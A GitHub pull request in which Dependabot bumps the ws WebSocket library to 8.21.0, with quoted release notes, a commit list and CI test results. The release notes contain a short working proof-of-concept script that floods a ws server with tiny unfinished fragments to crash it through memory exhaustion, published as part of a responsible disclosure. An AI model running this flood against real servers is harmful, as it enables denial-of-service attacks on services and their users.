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chore(deps-dev): bump ws from 8.20.0 to 8.21.0 in /src/Informedica.GenPRES.Client - #414

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halcwb merged 4 commits into
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dependabot/npm_and_yarn/src/Informedica.GenPRES.Client/ws-8.21.0
Jul 21, 2026
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chore(deps-dev): bump ws from 8.20.0 to 8.21.0 in /src/Informedica.GenPRES.Client#414
halcwb merged 4 commits into
masterfrom
dependabot/npm_and_yarn/src/Informedica.GenPRES.Client/ws-8.21.0

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@dependabot

@dependabot dependabot Bot commented on behalf of github Jul 14, 2026

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Bumps ws from 8.20.0 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

... (truncated)

Commits
  • bca91ad [dist] 8.21.0
  • 2b2abd4 [security] Limit retained message parts
  • 78eabe2 [security] Add latest vulnerability to SECURITY.md
  • 5d9b316 [dist] 8.20.1
  • c0327ec [security] Fix uninitialized memory disclosure in websocket.close()
  • ce2a3d6 [ci] Test on node 26
  • 58e45b8 [ci] Do not test on node 25
  • 5f26c24 [ci] Run the lint step on node 24
  • See full diff in compare view

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Bumps [ws](https://github.com/websockets/ws) from 8.20.0 to 8.21.0.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.20.0...8.21.0)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.21.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot added dependencies Pull requests that update a dependency file javascript Pull requests that update javascript code labels Jul 14, 2026
@github-actions

github-actions Bot commented Jul 14, 2026

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Test Results

5 576 tests  ±0   5 570 ✅ ±0   1m 58s ⏱️ -17s
   16 suites ±0       6 💤 ±0 
   16 files   ±0       0 ❌ ±0 

Results for commit 4396d08. ± Comparison against base commit e4a1d0c.

This pull request removes 14 and adds 14 tests. Note that renamed tests count towards both.
GenCore.EnteralAccess ‑ 0 can create enteral access oral
GenCore.EnteralAccess ‑ 1 can create enteral access 
GenCore.EnteralAccess ‑ 3 can create enteral access 
GenCore.EnteralAccess ‑ 5 can create enteral access 
GenCore.EnteralAccess ‑ 6 can create enteral access gastric
GenCore.EnteralAccess ‑ 7 can create enteral access duodenal
GenCore.venousAccess ‑ 0 can create venous access peripheral
GenCore.venousAccess ‑ 2 can create venous access central
GenCore.venousAccess ‑ 3 can create venous access peripheral
GenCore.venousAccess ‑ 4 can create venous access 
…
GenCore.EnteralAccess ‑ 0 can create enteral access duodenal
GenCore.EnteralAccess ‑ 1 can create enteral access anyenteral
GenCore.EnteralAccess ‑ 3 can create enteral access oral
GenCore.EnteralAccess ‑ 5 can create enteral access oral
GenCore.EnteralAccess ‑ 6 can create enteral access oral
GenCore.EnteralAccess ‑ 7 can create enteral access gastric
GenCore.venousAccess ‑ 0 can create venous access 
GenCore.venousAccess ‑ 2 can create venous access 
GenCore.venousAccess ‑ 3 can create venous access 
GenCore.venousAccess ‑ 4 can create venous access peripheral
…

♻️ This comment has been updated with latest results.

@halcwb
halcwb merged commit 59a6ea3 into master Jul 21, 2026
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@halcwb
halcwb deleted the dependabot/npm_and_yarn/src/Informedica.GenPRES.Client/ws-8.21.0 branch July 21, 2026 10:50
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